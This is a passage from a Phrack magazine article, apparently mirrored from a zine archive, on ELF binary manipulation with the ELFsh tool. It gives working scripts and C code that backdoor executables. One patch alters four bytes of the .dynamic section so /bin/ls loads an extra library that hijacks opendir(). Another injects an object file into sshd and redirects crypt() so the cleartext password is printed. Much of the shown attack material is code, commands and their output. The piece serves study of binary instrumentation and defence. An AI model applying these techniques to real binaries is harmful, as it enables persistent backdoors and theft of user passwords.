mirror of
https://github.com/fdiskyou/Zines.git
synced 2025-03-09 00:00:00 +01:00
1677 lines
63 KiB
Text
1677 lines
63 KiB
Text
==Phrack Inc.==
|
|
|
|
Volume 0x0b, Issue 0x3d, Phile #0x08 of 0x0f
|
|
|
|
|=---------- .:: Devhell Labs and Phrack Magazine present ::. ----------=|
|
|
|=----------------------------------------------------------------------=|
|
|
|=------------------=[ The Cerberus ELF Interface ]=------------------=|
|
|
|=----------------------------------------------------------------------=|
|
|
|=------------------=[ mayhem <mayhem@devhell.org> ]=------------------=|
|
|
|
|
|
|
1. Introduction
|
|
2. Quick and usable backdoor in 4 bytes
|
|
a/ The .dynamic section
|
|
b/ DT_NEEDED and DT_DEBUG entries
|
|
c/ Performing function hijacking
|
|
d/ Example 1: ls and opendir()
|
|
3. Residency : ET_REL injection into ET_EXEC
|
|
a/ Section injection : pre-interp vs post-bss
|
|
b/ Multiple BSS merging
|
|
c/ Symbol tables merging
|
|
d/ Mixing (a,b,c) for injecting a module into an executable
|
|
e/ Example 2: sshd and crypt()
|
|
f/ Multi-architecture algorithms
|
|
g/ ELFsh 0.51b relocation engine implementation details
|
|
4. Infection : ALTPLT technique
|
|
a/ Foundations of ALTPLT
|
|
b/ ALTPLT on SPARC
|
|
c/ Example 3: md5sum and fopen64()
|
|
d/ Multi-architecture algorithm
|
|
e/ Improvement suggestions for the redir command
|
|
5. The end ?
|
|
6. Greets
|
|
7. References
|
|
|
|
|
|
-------[ 1. Introduction
|
|
|
|
|
|
This article introduces three new generic techniques in ELF
|
|
(Executable and Linking Format) objects manipulation. The first
|
|
presented one is designed to be simple and quickly implemented,
|
|
others are more complex and allow advanced software extension
|
|
without having the source tree. These techniques can be used for
|
|
a wide panel of requirements such as closed-source software
|
|
debugging, software extension, backdooring, virii writing,
|
|
intrusion detection and intrusion prevention.
|
|
|
|
The examples will make use of the ELF shell [1], a freely
|
|
available scripting language to modify ELF binaries. It works
|
|
on two architectures (INTEL and SPARC) and four operating
|
|
systems (Linux, NetBSD, FreeBSD, and Solaris). Moreover the
|
|
techniques work even if the target machine is installed with
|
|
address space randomization and execution restriction, such as
|
|
PaX [2] protected boxes, since all the code injection is done
|
|
in the allowed areas.
|
|
|
|
ELF basics -will not- be explained, if you have troubles
|
|
understanding the article, please read the ELF TIS [3] reference
|
|
before requesting extra details ;). You can also try another
|
|
resource [4] which is a good introduction to the ELF format,
|
|
from the virus writing perspective.
|
|
|
|
In the first part of the paper, an easy and pragmatic technique
|
|
for backdooring an executable will be described, just by
|
|
changing 4 bytes. It consists of corrupting the .dynamic section
|
|
of the binary (2) and erase some entries (DT_DEBUG) for adding
|
|
others (DT_NEEDED), plus swapping existing DT_NEEDED entries to
|
|
give priority to certain symbols, all of this without changing
|
|
the file size.
|
|
|
|
The second part describes a complex residency technique, which
|
|
consists of adding a module (relocatable object ET_REL, e.g. a
|
|
.o file) into an executable file (ET_EXEC) as if the binary was
|
|
not linked yet. This technique is provided for INTEL and SPARC
|
|
architectures : compiled C code can thus be added permanently
|
|
to any ELF32 executable.
|
|
|
|
Finally, a new infection technique called ALTPLT (4) will be
|
|
explained. This feature is an extension of PLT infection [5]
|
|
and works in correlation with the ET_REL injection. It consists
|
|
of duplicating the Procedure Linkage Table and inject symbols
|
|
onto each entry of the alternate PLT. The advantages of this
|
|
technique are the relative portability (relative because we will
|
|
see that minor architecture dependant fixes are necessary), its
|
|
PaX safe bevahior as well, and the ability to call the original
|
|
function from the hook function without having to perform
|
|
painful tasks like runtime byte restoration.
|
|
|
|
Example ELFsh scripts are provided for all the explained
|
|
techniques. However, no ready-to-use backdoors will be included
|
|
(do you own!). For peoples who did not want to see these
|
|
techniques published, I would just argue that all of
|
|
them have been available for a couple of months for those
|
|
who wanted, and new techniques are already in progress. These
|
|
ideas were born from a good exploitation of the information
|
|
provided in the ELF reference and nothing was ripped to anyone.
|
|
I am not aware of any implementation providing these features,
|
|
but if you feel injuried, you can send flame emails and my
|
|
bot^H^H^H^H^H^H I will kindly answer all of them.
|
|
|
|
|
|
-------[ 2. Quick and usable backdoor in 4 bytes
|
|
|
|
|
|
Every dynamic executable file contains a .dynamic section. This
|
|
zone is useful for the runtime linker in order to access crucial
|
|
information at runtime without requiring a section header table
|
|
(SHT), since the .dynamic section data matches the bounds of
|
|
the PT_DYNAMIC segment entry of the Program Header Table (PHT).
|
|
Useful information includes the address and size of relocation
|
|
tables, the addresses of initialization and destruction routines,
|
|
the addresses of version tables, pathes for needed libraries, and
|
|
so on. Each entry of .dynamic looks like this, as shown in elf.h :
|
|
|
|
|
|
typedef struct
|
|
{
|
|
Elf32_Sword d_tag; /* Dynamic entry type */
|
|
union
|
|
{
|
|
Elf32_Word d_val; /* Integer value */
|
|
Elf32_Addr d_ptr; /* Address value */
|
|
} d_un;
|
|
} Elf32_Dyn;
|
|
|
|
|
|
For each entry, d_tag is the type (DT_*) and d_val (or d_ptr) is
|
|
the related value. Let's use the elfsh '-d' option to print the
|
|
dynamic section:
|
|
|
|
|
|
-----BEGIN EXAMPLE 1-----
|
|
$ elfsh -f /bin/ls -d
|
|
|
|
[*] Object /bin/ls has been loaded (O_RDONLY)
|
|
|
|
[SHT_DYNAMIC]
|
|
[Object /bin/ls]
|
|
|
|
[00] Name of needed library => librt.so.1 {DT_NEEDED}
|
|
[01] Name of needed library => libc.so.6 {DT_NEEDED}
|
|
[02] Address of init function => 0x08048F88 {DT_INIT}
|
|
[03] Address of fini function => 0x0804F45C {DT_FINI}
|
|
[04] Address of symbol hash table => 0x08048128 {DT_HASH}
|
|
[05] Address of dynamic string table => 0x08048890 {DT_STRTAB}
|
|
[06] Address of dynamic symbol table => 0x08048380 {DT_SYMTAB}
|
|
[07] Size of string table => 821 bytes {DT_STRSZ}
|
|
[08] Size of symbol table entry => 16 bytes {DT_SYMENT}
|
|
[09] Debugging entry (unknown) => 0x00000000 {DT_DEBUG}
|
|
[10] Processor defined value => 0x0805348C {DT_PLTGOT}
|
|
[11] Size in bytes for .rel.plt => 560 bytes {DT_PLTRELSZ}
|
|
[12] Type of reloc in PLT => 17 {DT_PLTREL}
|
|
[13] Address of .rel.plt => 0x08048D58 {DT_JMPREL}
|
|
[14] Address of .rel.got section => 0x08048D20 {DT_REL}
|
|
[15] Total size of .rel section => 56 bytes {DT_RELSZ}
|
|
[16] Size of a REL entry => 8 bytes {DT_RELENT}
|
|
[17] SUN needed version table => 0x08048CA0 {DT_VERNEED}
|
|
[18] SUN needed version number => 2 {DT_VERNEEDNUM}
|
|
[19] GNU version VERSYM => 0x08048BFC {DT_VERSYM}
|
|
|
|
[*] Object /bin/ls unloaded
|
|
|
|
$
|
|
-----END EXAMPLE 1-----
|
|
|
|
|
|
The careful reader would have noticed a strange entry of type
|
|
DT_DEBUG. This entry is used in the runtime linker to retrieve
|
|
debugging information, it is present in all GNU tools generated
|
|
binaries but it is not mandatory. The idea is to erase it using
|
|
a forged DT_NEEDED, so that an extra library dependance is added
|
|
to the executable.
|
|
|
|
The d_val field of a DT_NEEDED entry contains a relative offset
|
|
from the beginning of the .dynstr section, where we can find the
|
|
library path for this entry. What happens if we want to avoid
|
|
injecting an extra library path string into the .dynstr
|
|
section ?
|
|
|
|
|
|
-----BEGIN EXAMPLE 2-----
|
|
$ elfsh -f /bin/ls -X dynstr | grep so
|
|
.dynstr + 16 6C69 6272 742E 736F 2E31 0063 6C6F 636B librt.so.1.clock
|
|
.dynstr + 48 696E 5F75 7365 6400 6C69 6263 2E73 6F2E in_used.libc.so.
|
|
.dynstr + 176 726E 616C 0071 736F 7274 006D 656D 6370 rnal.qsort.memcp
|
|
.dynstr + 784 6565 006D 6273 696E 6974 005F 5F64 736F ee.mbsinit.__dso
|
|
$
|
|
-----END EXAMPLE 2-----
|
|
|
|
|
|
We just have to choose an existing library path string, but
|
|
avoid starting at the beginning ;). The ELF reference specifies
|
|
clearly that a same string in .dynstr can be used by multiple
|
|
entries at a time:
|
|
|
|
|
|
-----BEGIN EXAMPLE 3-----
|
|
$ cat > /tmp/newlib.c
|
|
function()
|
|
{
|
|
printf("my own fonction \n");
|
|
}
|
|
$ gcc -shared /tmp/newlib.c -o /lib/rt.so.1
|
|
$ elfsh
|
|
|
|
Welcome to The ELF shell 0.5b9 .::.
|
|
|
|
.::. This software is under the General Public License
|
|
.::. Please visit http://www.gnu.org to know about Free Software
|
|
|
|
[ELFsh-0.5b9]$ load /bin/ls
|
|
[*] New object /bin/ls loaded on Mon Apr 28 23:09:55 2003
|
|
|
|
[ELFsh-0.5b9]$ d DT_NEEDED|DT_DEBUG
|
|
|
|
[SHT_DYNAMIC]
|
|
[Object /bin/ls]
|
|
|
|
[00] Name of needed library => librt.so.1 {DT_NEEDED}
|
|
[01] Name of needed library => libc.so.6 {DT_NEEDED}
|
|
[09] Debugging entry (unknown) => 0x00000000 {DT_DEBUG}
|
|
|
|
[ELFsh-0.5b9]$ set 1.dynamic[9].tag DT_NEEDED
|
|
[*] Field set succesfully
|
|
|
|
[ELFsh-0.5b9]$ set 1.dynamic[9].val 19 # see .dynstr + 19
|
|
[*] Field set succesfully
|
|
|
|
[ELFsh-0.5b9]$ save /tmp/ls.new
|
|
[*] Object /tmp/ls.new saved successfully
|
|
|
|
[ELFsh-0.5b9]$ quit
|
|
[*] Unloading object 1 (/bin/ls) *
|
|
|
|
Good bye ! .::. The ELF shell 0.5b9
|
|
|
|
$
|
|
-----END EXAMPLE 3-----
|
|
|
|
|
|
Lets verify our changes:
|
|
|
|
|
|
-----BEGIN EXAMPLE 4-----
|
|
$ elfsh -f ls.new -d DT_NEEDED
|
|
|
|
[*] Object ls.new has been loaded (O_RDONLY)
|
|
|
|
[SHT_DYNAMIC]
|
|
[Object ls.new]
|
|
|
|
[00] Name of needed library => librt.so.1 {DT_NEEDED}
|
|
[01] Name of needed library => libc.so.6 {DT_NEEDED}
|
|
[09] Name of needed library => rt.so.1 {DT_NEEDED}
|
|
|
|
[*] Object ls.new unloaded
|
|
|
|
$ ldconfig # refresh /etc/ld.so.cache
|
|
$
|
|
-----END EXAMPLE 4-----
|
|
|
|
|
|
This method is not extremely stealth because a simple command can
|
|
list all the library dependances for a given binary:
|
|
|
|
|
|
$ ldd /tmp/ls.new
|
|
librt.so.1 => /lib/librt.so.1 (0x40021000)
|
|
libc.so.6 => /lib/libc.so.6 (0x40033000)
|
|
rt.so.1 => /lib/rt.so.1 (0x40144000)
|
|
libpthread.so.0 => /lib/libpthread.so.0 (0x40146000)
|
|
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
|
|
$
|
|
|
|
|
|
Is the executable still working?
|
|
|
|
|
|
$ ./ls.new
|
|
AcroOlAAFj ELFSH_DEBUG ls.new newlib.c
|
|
$
|
|
|
|
|
|
OK, so we found a good way to inject as much code as we want in
|
|
a process, by adding a library dependance to the main object, the
|
|
executable object. Now what if we want to hijack functions with
|
|
such an easy technique? We can force some symbols to get resolved
|
|
in priority over other symbols : when the runtime relocation is
|
|
done (when the .got section is patched), the runtime linker will
|
|
iterate on the link_map [6] [7] [8] list, find the first matching
|
|
symbol, and fill the Global Offset Table related entry (or the
|
|
Procedure Linkage Table entry if we are on SPARC) with the
|
|
absolute runtime address where the function is mapped. A simple
|
|
technique consists of swapping DT_NEEDED entries and make our own
|
|
library to be present before other libraries in the link_map
|
|
double linked list, and symbols to be resolved before the
|
|
original symbols. In order to call the original function from
|
|
the hook function, we will have to use dlopen(3) and dlsym(3) so
|
|
that we can resolve a symbol for a given object.
|
|
|
|
Lets take the same code, and this time, write a script which can
|
|
hijack opendir(3) to our own function(), and then call the
|
|
original opendir(), so that the binary can be run normally:
|
|
|
|
|
|
-----BEGIN EXAMPLE 5-----
|
|
$ cat dlhijack.esh
|
|
#!/usr/bin/elfsh
|
|
|
|
load /bin/ls
|
|
|
|
# Move DT_DEBUG into DT_NEEDED
|
|
set 1.dynamic[9].tag DT_NEEDED
|
|
|
|
# Put the former DT_DEBUG entry value to the first DT_NEEDED value
|
|
set 1.dynamic[9].val 1.dynamic[0].val
|
|
|
|
# Add 3 to the first DT_NEEDED value => librt.so.1 becomes rt.so.1
|
|
add 1.dynamic[0].val 3
|
|
|
|
save ls.new
|
|
quit
|
|
|
|
$
|
|
-----END EXAMPLE 5-----
|
|
|
|
|
|
Now let's write the opendir hook code:
|
|
|
|
|
|
-----BEGIN EXAMPLE 6-----
|
|
$ cat myopendir.c
|
|
#include <stdio.h>
|
|
#include <sys/types.h>
|
|
#include <stdlib.h>
|
|
#include <fcntl.h>
|
|
#include <dirent.h>
|
|
#include <dlfcn.h>
|
|
|
|
#define LIBC_PATH "/lib/libc.so.6"
|
|
|
|
DIR *opendir(const char *name)
|
|
{
|
|
void *handle;
|
|
void *(*sym)(const char *name);
|
|
|
|
handle = dlopen(LIBC_PATH, RTLD_LAZY);
|
|
sym = (void *) dlsym(handle, "opendir");
|
|
printf("OPENDIR HIJACKED -orig- = %08X .::. -param- = %s \n",
|
|
sym, name);
|
|
return (sym(name));
|
|
}
|
|
$ gcc -shared myopendir.c -o rt.so.1 -ldl
|
|
$
|
|
-----END EXAMPLE 6-----
|
|
|
|
|
|
Now we can modify the binary using our 4 lines script:
|
|
|
|
|
|
-----BEGIN EXAMPLE 7-----
|
|
$ ./dlhijack.esh
|
|
|
|
Welcome to The ELF shell 0.5b9 .::.
|
|
|
|
.::. This software is under the General Public License
|
|
.::. Please visit http://www.gnu.org to know about Free Software
|
|
|
|
~load /bin/ls
|
|
[*] New object /bin/ls loaded on Fri Jul 25 02:48:19 2003
|
|
|
|
~set 1.dynamic[9].tag DT_NEEDED
|
|
[*] Field set succesfully
|
|
|
|
~set 1.dynamic[9].val 1.dynamic[0].val
|
|
[*] Field set succesfully
|
|
|
|
~add 1.dynamic[0].val 3
|
|
[*] Field modified succesfully
|
|
|
|
~save ls.new
|
|
[*] Object ls.new save successfully
|
|
|
|
~quit
|
|
[*] Unloading object 1 (/bin/ls) *
|
|
|
|
Good bye ! .::. The ELF shell 0.5b9
|
|
|
|
$
|
|
-----END EXAMPLE 7-----
|
|
|
|
|
|
Let's see the results for the original ls, and then for the
|
|
modified ls:
|
|
|
|
|
|
$ ldd ls.new
|
|
rt.so.1 => /lib/rt.so.1 (0x40021000)
|
|
libc.so.6 => /lib/libc.so.6 (0x40023000)
|
|
librt.so.1 => /lib/librt.so.1 (0x40134000)
|
|
libdl.so.2 => /lib/libdl.so.2 (0x40146000)
|
|
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
|
|
libpthread.so.0 => /lib/libpthread.so.0 (0x4014a000)
|
|
$ ls
|
|
c.so.6 dlhijack.esh dlhijack.esh~ ls.new myopendir.c \
|
|
myopendir.c~ p61_ELF.txt p61_ELF.txt~ rt.so.1
|
|
$ ./ls.new
|
|
OPENDIR HIJACKED -orig- = 400C1D5C .::. -param- = .
|
|
c.so.6 dlhijack.esh dlhijack.esh~ ls.new myopendir.c \
|
|
myopendir.c~ p61_ELF.txt p61_ELF.txt~ rt.so.1
|
|
$
|
|
|
|
|
|
Nice. Note that the current implementation of this technique in
|
|
ELFsh changes the size of the binary because it injects
|
|
automatically some symbols for binary sanity. If you want to keep
|
|
the same size, you have to comment the calls to elfsh_fixup_symtab
|
|
in the ELFsh source code ;) . This stuff is known to be used
|
|
in the wild.
|
|
|
|
The dynamic version of this technique has been proposed in [9],
|
|
where the author describes how to call dlopen() in a subversive
|
|
way, so that the process get runtime linked with an extra library.
|
|
In practice, both implementations have nothing in common, but it
|
|
is worth mentionning.
|
|
|
|
|
|
-------[ 3. Residency : ET_REL injection into ET_EXEC
|
|
|
|
|
|
This second technique allows to perform relinking of the ELF
|
|
ET_EXEC binary file and adding a relocatable object (ET_REL
|
|
file aka .o file) into the program address space. This is very
|
|
useful since it is a powerful method to inject as much data and
|
|
code as needed in a file using a 5 lines script.
|
|
|
|
Such relocation based backdoors have been developped in the
|
|
past for static kernel patching [10] (ET_REL into vmlinuz) and
|
|
direct LKM loading in kernel memory (ET_REL into kmem) [11] .
|
|
However, this ET_REL injection into ET_EXEC implementation is in
|
|
my sense particulary interresting since it has been implemented
|
|
considering a larger scope of target architectures and for
|
|
protected environments.
|
|
|
|
Because ELFsh is also used for things other than backdooring,
|
|
the SHT and the symbol table are kept synchronized when we
|
|
insert our stuff into the binary, so that symbol resolving can
|
|
be provided even in the injected code.
|
|
|
|
Since the backdoor needs to stay valid on a PaX protected box,
|
|
we use 2 different injection techniques (one for the code
|
|
sections, the other for the data sections) called section
|
|
pre-interp injection (because we insert the new section before
|
|
the .interp section) and section post-bss injection (because we
|
|
insert the new section after the .bss section).
|
|
|
|
For this second injection type, .bss data physical insertion
|
|
into the file is necessary, since .bss is the non-initialized
|
|
data section, it is only referenced by the SHT and PHT, but it
|
|
is not present in the file.
|
|
|
|
Also, note that section pre-interp injection is not possible
|
|
with the current FreeBSD dynamic linker (some assert() kills the
|
|
modified binary), so all sections are injected using a post-bss
|
|
insertion on this OS. This is not an issue since FreeBSD does not
|
|
come with non-executable protection for datapages. If such a
|
|
protection comes in the future, we would have to modify the
|
|
dynamic linker itself before being able to run the modified
|
|
binary, or make the code segment writable in sh_flags.
|
|
|
|
Let's look at the binary layout (example is sshd, it is the same
|
|
for all the binaries) :
|
|
|
|
|
|
-----BEGIN EXAMPLE 8-----
|
|
$ elfsh -f /usr/sbin/sshd -q -s -p
|
|
|
|
[SECTION HEADER TABLE .::. SHT is not stripped]
|
|
[Object /usr/sbin/sshd]
|
|
|
|
[000] (nil) ------- foff:00000000 sz:00000000 link:00
|
|
[001] 0x80480f4 a------ .interp foff:00000244 sz:00000019 link:00
|
|
[002] 0x8048108 a------ .note.ABI-tag foff:00000264 sz:00000032 link:00
|
|
[003] 0x8048128 a------ .hash foff:00000296 sz:00001784 link:04
|
|
[004] 0x8048820 a------ .dynsym foff:00002080 sz:00003952 link:05
|
|
[005] 0x8049790 a------ .dynstr foff:00006032 sz:00002605 link:00
|
|
[006] 0x804a1be a------ .gnu.version foff:00008638 sz:00000494 link:04
|
|
[007] 0x804a3ac a------ .gnu.version_r foff:00009132 sz:00000096 link:05
|
|
[008] 0x804a40c a------ .rel.got foff:00009228 sz:00000008 link:04
|
|
[009] 0x804a414 a------ .rel.bss foff:00009236 sz:00000056 link:04
|
|
[010] 0x804a44c a------ .rel.plt foff:00009292 sz:00001768 link:04
|
|
[011] 0x804ab34 a-x---- .init foff:00011060 sz:00000037 link:00
|
|
[012] 0x804ab5c a-x---- .plt foff:00011100 sz:00003552 link:00
|
|
[013] 0x804b940 a-x---- .text foff:00014656 sz:00145276 link:00
|
|
[014] 0x806f0bc a-x---- .fini foff:00159932 sz:00000028 link:00
|
|
[015] 0x806f0e0 a------ .rodata foff:00159968 sz:00068256 link:00
|
|
[016] 0x8080b80 aw----- .data foff:00228224 sz:00003048 link:00
|
|
[017] 0x8081768 aw----- .eh_frame foff:00231272 sz:00000004 link:00
|
|
[018] 0x808176c aw----- .ctors foff:00231276 sz:00000008 link:00
|
|
[019] 0x8081774 aw----- .dtors foff:00231284 sz:00000008 link:00
|
|
[020] 0x808177c aw----- .got foff:00231292 sz:00000900 link:00
|
|
[021] 0x8081b00 aw----- .dynamic foff:00232192 sz:00000200 link:05
|
|
[022] 0x8081bc8 -w----- .sbss foff:00232416 sz:00000000 link:00
|
|
[023] 0x8081be0 aw----- .bss foff:00232416 sz:00025140 link:00
|
|
[024] (nil) ------- .comment foff:00232416 sz:00002812 link:00
|
|
[025] (nil) ------- .note foff:00235228 sz:00001480 link:00
|
|
[026] (nil) ------- .shstrtab foff:00236708 sz:00000243 link:00
|
|
[027] (nil) ------- .symtab foff:00236951 sz:00000400 link:00
|
|
[028] (nil) ------- .strtab foff:00237351 sz:00000202 link:00
|
|
|
|
[Program header table .::. PHT]
|
|
[Object /usr/sbin/sshd]
|
|
|
|
[0] 0x08048034 -> 0x080480F4 r-x memsz(000192) foff(000052) filesz(000192)
|
|
[1] 0x080480F4 -> 0x08048107 r-- memsz(000019) foff(000244) filesz(000019)
|
|
[2] 0x08048000 -> 0x0807FB80 r-x memsz(228224) foff(000000) filesz(228224)
|
|
[3] 0x08080B80 -> 0x08087E14 rw- memsz(029332) foff(228224) filesz(004168)
|
|
[4] 0x08081B00 -> 0x08081BC8 rw- memsz(000200) foff(232192) filesz(000200)
|
|
[5] 0x08048108 -> 0x08048128 r-- memsz(000032) foff(000264) filesz(000032)
|
|
|
|
[Program header table .::. SHT correlation]
|
|
[Object /usr/sbin/sshd]
|
|
|
|
[*] SHT is not stripped
|
|
|
|
[00] PT_PHDR
|
|
[01] PT_INTERP .interp
|
|
[02] PT_LOAD .interp .note.ABI-tag .hash .dynsym .dynstr \
|
|
.gnu.version .gnu.version_r .rel.got .rel.bss \
|
|
.rel.plt .init .plt .text .fini .rodata
|
|
[03] PT_LOAD .data .eh_frame .ctors .dtors .got .dynamic
|
|
[04] PT_DYNAMIC .dynamic
|
|
[05] PT_NOTE .note.ABI-tag
|
|
|
|
$
|
|
-----END EXAMPLE 8-----
|
|
|
|
|
|
We have here two loadable segments, one is executable (matches the
|
|
code segment) and the other is writable (matches the data
|
|
segment).
|
|
|
|
What we have to do is to inject all non-writable sections before
|
|
.interp (thus in the code segment), and all other section's after
|
|
.bss in the data segment. Let's code a handler for crypt() which
|
|
prints the clear password and exit. In this first example, we
|
|
will use GOT redirection [12] and hijack crypt() which stays in
|
|
the libc:
|
|
|
|
|
|
-----BEGIN EXAMPLE 9-----
|
|
$ cat mycrypt.c
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
#include <fcntl.h>
|
|
|
|
int glvar = 42;
|
|
int bssvar;
|
|
|
|
char *mycrypt(const char *key, const char *salt)
|
|
{
|
|
bssvar = 2;
|
|
printf(".:: crypt redirected -key- = %s (%u .::. %u) \n",
|
|
key, glvar, bssvar);
|
|
exit(0);
|
|
}
|
|
$ gcc -c mycrypt.c
|
|
$
|
|
-----END EXAMPLE 9-----
|
|
|
|
|
|
Using the 'reladd' command, we will inject mycrypt.o into sshd:
|
|
|
|
|
|
-----BEGIN EXAMPLE 10-----
|
|
$ cat etreladd.esh
|
|
#!/usr/bin/elfsh
|
|
|
|
load /usr/sbin/sshd
|
|
load mycrypt.o
|
|
|
|
# Inject mycrypt.o into sshd
|
|
reladd 1 2
|
|
|
|
# Modify crypt() got entry and make it point on mycrypt() which resides
|
|
# into mycrypt.o
|
|
set 1.got[crypt] mycrypt
|
|
|
|
save sshd.new
|
|
quit
|
|
|
|
$ ./etreladd.esh
|
|
|
|
Welcome to The ELF shell 0.5b9 .::.
|
|
|
|
.::. This software is under the General Public License
|
|
.::. Please visit http://www.gnu.org to know about Free Software
|
|
|
|
~load /usr/sbin/sshd
|
|
[*] New object /usr/sbin/sshd loaded on Fri Jul 25 04:43:58 2003
|
|
|
|
~load mycrypt.o
|
|
[*] New object mycrypt.o loaded on Fri Jul 25 04:43:58 2003
|
|
|
|
~reladd 1 2
|
|
[*] ET_REL mycrypt.o injected succesfully in ET_EXEC /usr/sbin/sshd
|
|
|
|
~set 1.got[crypt] mycrypt
|
|
[*] Field set succesfully
|
|
|
|
~save sshd.new
|
|
[*] Object sshd.new save successfully
|
|
|
|
~quit
|
|
[*] Unloading object 1 (mycrypt.o)
|
|
[*] Unloading object 2 (/usr/sbin/sshd) *
|
|
|
|
Good bye ! .::. The ELF shell 0.5b9
|
|
$
|
|
-----END EXAMPLE 10-----
|
|
|
|
|
|
Our script rocked. As I said, the symbol tables and the .bss from
|
|
the module have been fused with those from the executable file
|
|
and the SHT has been kept synchronized, so that resolving is also
|
|
possible in the injected code:
|
|
|
|
|
|
-----BEGIN EXAMPLE 11-----
|
|
$ elfsh -f sshd.new -q -s -p
|
|
[SECTION HEADER TABLE .::. SHT is not stripped]
|
|
[Object sshd.new]
|
|
|
|
[00] (nil) ------- foff:00000000 sz:00000000 link:00
|
|
[01] 0x80450f4 a-x---- .orig.plt foff:00000244 sz:00004096 link:00
|
|
[02] 0x80460f4 a------ mycrypt.o.rodata foff:00004340 sz:00004096 link:00
|
|
[03] 0x80470f4 a-x---- mycrypt.o.text foff:00008436 sz:00004096 link:00
|
|
[04] 0x80480f4 a------ .interp foff:00012532 sz:00000019 link:00
|
|
[05] 0x8048108 a------ .note.ABI-tag foff:00012552 sz:00000032 link:00
|
|
[06] 0x8048128 a------ .hash foff:00012584 sz:00001784 link:07
|
|
[07] 0x8048820 a------ .dynsym foff:00014368 sz:00003952 link:08
|
|
[08] 0x8049790 a------ .dynstr foff:00018320 sz:00002605 link:00
|
|
[09] 0x804a1be a------ .gnu.version foff:00020926 sz:00000494 link:07
|
|
[10] 0x804a3ac a------ .gnu.version_r foff:00021420 sz:00000096 link:08
|
|
[11] 0x804a40c a------ .rel.got foff:00021516 sz:00000008 link:07
|
|
[12] 0x804a414 a------ .rel.bss foff:00021524 sz:00000056 link:07
|
|
[13] 0x804a44c a------ .rel.plt foff:00021580 sz:00001768 link:07
|
|
[14] 0x804ab34 a-x---- .init foff:00023348 sz:00000037 link:00
|
|
[15] 0x804ab5c a-x---- .plt foff:00023388 sz:00003552 link:00
|
|
[16] 0x804b940 a-x---- .text foff:00026944 sz:00145276 link:00
|
|
[17] 0x806f0bc a-x---- .fini foff:00172220 sz:00000028 link:00
|
|
[18] 0x806f0e0 a------ .rodata foff:00172256 sz:00068256 link:00
|
|
[19] 0x8080b80 aw----- .data foff:00240512 sz:00003048 link:00
|
|
[20] 0x8081768 aw----- .eh_frame foff:00243560 sz:00000004 link:00
|
|
[21] 0x808176c aw----- .ctors foff:00243564 sz:00000008 link:00
|
|
[22] 0x8081774 aw----- .dtors foff:00243572 sz:00000008 link:00
|
|
[23] 0x808177c aw----- .got foff:00243580 sz:00000900 link:00
|
|
[24] 0x8081b00 aw----- .dynamic foff:00244480 sz:00000200 link:08
|
|
[25] 0x8081bc8 -w----- .sbss foff:00244704 sz:00000000 link:00
|
|
[26] 0x8081be0 aw----- .bss foff:00244704 sz:00025144 link:00
|
|
[27] 0x8087e18 aw----- mycrypt.o.data foff:00269848 sz:00000004 link:00
|
|
[28] (nil) ------- .comment foff:00269852 sz:00002812 link:00
|
|
[29] (nil) ------- .note foff:00272664 sz:00001480 link:00
|
|
[30] (nil) ------- .shstrtab foff:00274144 sz:00000300 link:00
|
|
[31] (nil) ------- .symtab foff:00274444 sz:00004064 link:00
|
|
[32] (nil) ------- .strtab foff:00278508 sz:00003423 link:00
|
|
|
|
[Program header table .::. PHT]
|
|
[Object sshd.new]
|
|
|
|
[0] 0x08045034 -> 0x080450F4 r-x memsz(000192) foff(000052) filesz(000192)
|
|
[1] 0x080480F4 -> 0x08048107 r-- memsz(000019) foff(012532) filesz(000019)
|
|
[2] 0x08045000 -> 0x0807FB80 r-x memsz(240512) foff(000000) filesz(240512)
|
|
[3] 0x08080B80 -> 0x08087E1C rw- memsz(029340) foff(240512) filesz(029340)
|
|
[4] 0x08081B00 -> 0x08081BC8 rw- memsz(000200) foff(244480) filesz(000200)
|
|
[5] 0x08048108 -> 0x08048128 r-- memsz(000032) foff(012552) filesz(000032)
|
|
|
|
[Program header table .::. SHT correlation]
|
|
[Object sshd.new]
|
|
|
|
[*] SHT is not stripped
|
|
|
|
[0] PT_PHDR
|
|
[1] PT_INTERP .interp
|
|
[2] PT_LOAD .orig.plt mycrypt.o.rodata mycrypt.o.text .interp
|
|
.note.ABI-tag .hash .dynsym .dynstr .gnu.version
|
|
.gnu.version_r .rel.got .rel.bss .rel.plt .init
|
|
.plt .text .fini .rodata
|
|
[3] PT_LOAD .data .eh_frame .ctors .dtors .got .dynamic .sbss
|
|
.bss mycrypt.o.data
|
|
[4] PT_DYNAMIC .dynamic
|
|
[5] PT_NOTE .note.ABI-tag
|
|
|
|
$
|
|
-----END EXAMPLE 11-----
|
|
|
|
|
|
The new sections can be easily spotted in the new SHT, since
|
|
their name starts with the module name (mycrypt.o.*). Please
|
|
elude the .orig.plt presence for the moment. This section
|
|
is injected at ET_REL insertion time, but it is not used in
|
|
this example and it will be explained as a stand-alone technique
|
|
in the next chapter.
|
|
|
|
We can see that the new BSS size is 4 bytes bigger than the
|
|
original one. It is because the module BSS was only filled with
|
|
one variable (bssvar), which was a 4 bytes sized integer since
|
|
this specific example was done on a 32 bits architecture. The
|
|
difficulty of this operation is to find the ET_REL object BSS
|
|
section size, because it is set to 0 in the SHT. For this
|
|
operation, we need to care about variable address alignement
|
|
using the st_value field from each SHN_COMMON symbols of the
|
|
ET_REL object, as specified by the ELF reference. Details for
|
|
this algorithm are given later in the article.
|
|
|
|
It works on Solaris as well, even if ET_REL files generated by
|
|
Solaris-ELF ld have no .bss section entry in the SHT. The 0.51b2
|
|
implementation has one more limitation on Solaris, which
|
|
is a 'Malloc problem' happening at the first malloc() call when
|
|
using a section post-bss injection. You dont have to use this kind
|
|
of section injection ; ET_REL injection works well on Solaris if
|
|
you do not use initialized global variables. This problem has been
|
|
solved in 0.51b3 by shifting _end, _edata, and _END_ dynamic symbols
|
|
so that they still points on the beginning of the heap (e.g. at
|
|
the end of the last post-bss mapped section, or at the end of the
|
|
bss, if there is no post-bss mapped section).
|
|
|
|
Also, the .shstrtab, .symtab, and .strtab sections have been
|
|
extended, and now contain extra symbol names, extra section names,
|
|
and extra symbols copied from the ET_REL object.
|
|
|
|
You can note that pre-interp injected sections base address is
|
|
congruent getpagesize(), so that the executable segment always
|
|
starts at the beginning of a page, as requested by the ELF
|
|
reference. ELFsh could save some place here, instead of allocating
|
|
the size of a page each time a section is injected, but that would
|
|
complexify the algorithm a bit, so the congruence is kept for
|
|
each inserted section.
|
|
|
|
